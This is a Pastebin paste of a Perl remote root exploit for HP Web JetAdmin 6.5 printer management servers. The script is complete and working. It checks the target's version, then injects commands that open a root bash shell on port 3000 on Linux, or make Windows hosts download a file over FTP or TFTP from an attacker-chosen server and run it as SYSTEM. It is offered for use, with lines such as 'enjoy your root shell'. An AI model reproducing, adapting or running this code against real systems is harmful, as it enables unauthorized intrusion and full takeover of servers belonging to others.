Advertisement
3x5w4rup

JetAdmin 6.5 Remote Root Exploit

Apr 9th, 2014
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 5.20 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. #
  4. # This is an exploit for HP Web JetAdmin, the printer management server from HP.
  5. # It is NOT about printers! The service usually runs on port 8000 on Windows,
  6. # Solaris or Linux boxes.
  7. #
  8. # Greetz: The Phenoelit People, c-base crew, EEyE (rock!), Halvar on the other
  9. #         side of the planet, Johnny, Andreas, Lisa, H D Moore, Nicolas
  10. #         Fishbach and all the others I forgot
  11. #
  12. $|=1;
  13. die "Specify server name or IP\n" unless ($host=shift);
  14. #
  15. # lala stuff
  16. #
  17. print "Phenoelit HP Web JetAdmin 6.5 remote\n".
  18. " Linux root and Windows NT/2000 Administrator exploit\n".
  19. " by FX of Phenoelit\n".
  20. " Research done at BlackHat Singapore 2002\n\n";
  21. #
  22. # Check version for the kiddies
  23. #
  24. $request="GET /plugins/hpjwja/help/about.hts HTTP/1.0\r\n\r\n";
  25. &doit();
  26. #
  27. # Get the path first
  28. #
  29. $rs=~/--\ framework\.ini\ (.+)-->/;
  30. $hppath=$1;
  31. if ($hppath) { $hppath=~s/\/doc\/plugins\/framework\/framework.ini//; }
  32. #
  33. # Now get some more info
  34. #
  35. $rs=~s/[\r\n\t]//g;
  36. $rs=~s/<\/td><td\ valign\=\"top\"\ nowrap>//g;
  37. $rs=~/JetAdmin\ Version<\/b>([^<]+)<\/td>/;
  38. $version=$1;
  39. $rs=~/System\ Version<\/b>([^<]+)<\/td>/;
  40. $system=$1;
  41. die "It's not version 6.5 or version extraction failed\n" unless ($version=~/6\.5/);
  42. die "Could not extract path\n" unless ($hppath);
  43. #
  44. # Info 2 user
  45. #
  46. print "HP Web JetAdmin Path: \n\t".$hppath."\n";
  47. print "HP Web JetAdmin Version: ".$version."\n";
  48. if ($system=~/Linux/) {
  49. printf "Host system identified as Linux ...\n";
  50. #
  51. # Create file content and kick off inetd
  52. #
  53. $cont=
  54. "obj=Httpd:VarCacheSet(hacked,true);".
  55.    "Httpd:ExecuteFile(/usr/sbin/,inetd,".$hppath."/cache.ini)".
  56. "&__BrowserID=0%0a3000%20stream%20tcp%20nowait%20root%20/bin/bash%20bash%0a";
  57. $request = "POST /plugins/framework/script/content.hts HTTP/1.0\r\n".
  58. "Host: ".$host."\r\n".
  59. "Accept: text/html, text/plain, application/pdf, image/*, ".
  60. "image/jpeg, text/sgml, video/mpeg, image/jpeg, ".
  61. "image/tiff, image/x-rgb, image/png, image/x-xbitmap,".
  62. " image/x-xbm, image/gif, application/postscript, */*;q=0.01\r\n".
  63. "Accept-Language: en\r\n".
  64. "Pragma: no-cache\r\n".
  65. "Cache-Control: no-cache\r\n".
  66. "User-Agent: Phenoelit script\r\n".
  67. "Referer: http://www.phenoelit.de/\r\n".
  68. "Content-type: application/x-www-form-urlencoded\r\n".
  69. "Content-length: ".length($cont)."\r\n\r\n".
  70. $cont;
  71. &doit();
  72. print "You should now connect to $host:3000 and enjoy your root shell\n";
  73. } elsif ($system=~/WinNT/) {
  74. print "Target system is Windows.\n".
  75. " Do you want file upload via FTP [f] or TFTP [t]: ";
  76. $usersel=<STDIN>;
  77. if ($usersel=~/^f/i) {
  78. print "FTP used ...\n";
  79. print "FTP Host: "; $ftph=<STDIN>; chomp($ftph);
  80. print "FTP User: "; $ftpu=<STDIN>; chomp($ftpu);
  81. print "FTP Pass: "; $ftpp=<STDIN>; chomp($ftpp);
  82. print "FTP Path: "; $ftppath=<STDIN>; chomp($ftppath);
  83. print "FTP File: "; $ftpfile=<STDIN>; chomp($ftpfile);
  84. print "File ".$ftpfile." will be downloaded from ".$ftph.$ftppath."\n".
  85. " with username ".$ftpu." and password ".$ftpp."\n";
  86. $cont=
  87. "obj=".
  88. "Httpd:ExecuteFile(,cmd.exe,/c,echo,open ".$ftph.",>c:\\x.txt);".
  89. "Httpd:ExecuteFile(,cmd.exe,/c,echo,".$ftpu.">>c:\\x.txt);".
  90. "Httpd:ExecuteFile(,cmd.exe,/c,echo,".$ftpp.">>c:\\x.txt);".
  91. "Httpd:ExecuteFile(,cmd.exe,/c,echo,lcd c:\\,>>c:\\x.txt);".
  92. "Httpd:ExecuteFile(,cmd.exe,/c,echo,cd ".$ftppath.",>>c:\\x.txt);".
  93. "Httpd:ExecuteFile(,cmd.exe,/c,echo,bin,>>c:\\x.txt);".
  94. "Httpd:ExecuteFile(,cmd.exe,/c,echo,get ".$ftpfile.",>>c:\\x.txt);".
  95. "Httpd:ExecuteFile(,cmd.exe,/c,echo,quit,>>c:\\x.txt);".
  96. "Httpd:ExecuteFile(,ftp.exe,-s:c:\\x.txt);".
  97. "Httpd:ExecuteFile(c:\\,".$ftpfile.")";
  98. } elsif ($usersel=~/^t/) {
  99. print "TFTP used ...\n";
  100. print "TFTP Host: "; $ftph=<STDIN>; chomp($ftph);
  101. print "TFTP Path: "; $ftppath=<STDIN>; chomp($ftppath);
  102. print "TFTP File: "; $ftpfile=<STDIN>; chomp($ftpfile);
  103. $ftppath.="/" unless ($ftppath=~/\/$/);
  104. $cont=
  105. "obj=".
  106. "Httpd:ExecuteFile(,tftp.exe,-i,".$ftph.",GET,".
  107. $ftppath.$ftpfile.",c:\\".$ftpfile.");".
  108. "Httpd:ExecuteFile(c:\\,".$ftpfile.")";
  109. } else {
  110. print "Wurstfinger ?\n";
  111. exit 0;
  112. }
  113. $request = "POST /plugins/framework/script/content.hts HTTP/1.0\r\n".
  114. "Host: ".$host."\r\n".
  115. "Accept: text/html, text/plain, application/pdf, image/*, ".
  116. "image/jpeg, text/sgml, video/mpeg, image/jpeg, ".
  117. "image/tiff, image/x-rgb, image/png, image/x-xbitmap,".
  118. " image/x-xbm, image/gif, application/postscript, */*;q=0.01\r\n".
  119. "Accept-Language: en\r\n".
  120. "Pragma: no-cache\r\n".
  121. "Cache-Control: no-cache\r\n".
  122. "User-Agent: Phenoelit script\r\n".
  123. "Referer: http://www.phenoelit.de/\r\n".
  124. "Content-type: application/x-www-form-urlencoded\r\n".
  125. "Content-length: ".length($cont)."\r\n\r\n".
  126. $cont;
  127. print "If everything works well, the specified file should be running\n".
  128. " soon in SYSTEM context. Don't stop this script until your program\n".
  129. " terminates. Enjoy the box.\n";
  130. &doit();
  131. } else {
  132. print "Host OS (".$system.") not supported by exploit - modify it\n";
  133. }
  134. exit 0;
  135. sub doit {
  136.    $remote =
  137.      IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>"8000",);
  138.    die "cannot connect to http daemon on $host\n" unless($remote);
  139.    $remote->autoflush(1);
  140.    print $remote $request;
  141.    $rs="";
  142.    while ( $rline=<$remote> ) {
  143. $rs.=$rline;
  144. #print $rline;
  145.    }
  146.    close $remote;
  147. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement